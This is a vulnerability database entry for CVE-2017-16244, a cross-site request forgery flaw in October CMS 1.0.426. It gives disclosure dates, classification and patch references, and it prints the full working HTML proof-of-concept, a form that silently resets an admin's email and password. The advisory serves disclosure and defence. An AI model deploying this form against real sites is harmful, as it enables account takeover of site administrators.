October CMS 1.0.426 _handler cross-site request forgery

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Summaryinfo

A vulnerability was found in October CMS 1.0.426. It has been rated as problematic. Affected by this issue is some unknown functionality. The manipulation of the argument _handler as part of Variable leads to cross-site request forgery. This vulnerability is uniquely identified as CVE-2017-16244. The attack is possible to be carried out remotely. Moreover, an exploit is present.

Detailsinfo

A vulnerability, which was classified as problematic, has been found in October CMS 1.0.426 (Content Management System). This issue affects an unknown function. The manipulation of the argument _handler as part of a Variable leads to a cross-site request forgery vulnerability. Using CWE to declare the problem leads to CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Impacted is integrity. The summary by CVE is:

Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF tokens for postback handling, allowing an attacker to successfully take over the victim's account. The attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.

The bug was discovered 10/31/2017. The weakness was disclosed 11/01/2017 (GitHub Repository). The advisory is shared at github.com. The identification of this vulnerability is CVE-2017-16244 since 10/31/2017. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. It demands that the victim is doing some kind of user interaction. Technical details as well as a public exploit are known.

A public exploit has been developed by Zain Sabahat in HTML and been published immediately after the advisory. The exploit is available at exploit-db.com. It is declared as functional. The code used by the exploit is:

<html>
  <body>
    <form action="http://host/backend/users/myaccount" method="POST">
      <input type="hidden" name="&#95;handler" value="onSave" />
      <input type="hidden" name="User&#91;login&#93;" value="Admin" />
      <input type="hidden" name="User&#91;email&#93;" value="Hacked&#64;hacked&#46;com" />
      <input type="hidden" name="User&#91;first&#95;name&#93;" value="Admin" />
      <input type="hidden" name="User&#91;last&#95;name&#93;" value="1337" />
      <input type="hidden" name="User&#91;password&#93;" value="YourNewPassword" />
      <input type="hidden" name="User&#91;password&#95;confirmation&#93;" value="YourNewPassword" />
      <input type="hidden" name="redirect" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the vulnerability database at Exploit-DB (43106). Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Type

Content Management System

Vendor

October

Name

Version

1.0.426

License

commercial

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Class: Cross-site request forgery
CWE: CWE-352 / CWE-862 / CWE-863
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Physical: No
Local: No
Remote: Yes

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Access: Public
Status: Functional
Author: Zain Sabahat
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Recommended: no mitigation known
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Patch: github.com

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Advisory: 4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0
Status: Confirmed
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CVE: CVE-2017-16244 (🔍)
GCVE (CVE): GCVE-0-2017-16244
GCVE (VulDB): GCVE-100-108857
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 11/01/2017 07:47
Updated: 09/24/2025 21:55
Changes: 11/01/2017 07:47 (66), 12/11/2019 07:41 (2), 01/05/2023 14:07 (5), 09/24/2025 21:55 (20)
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Cache ID: 216::103

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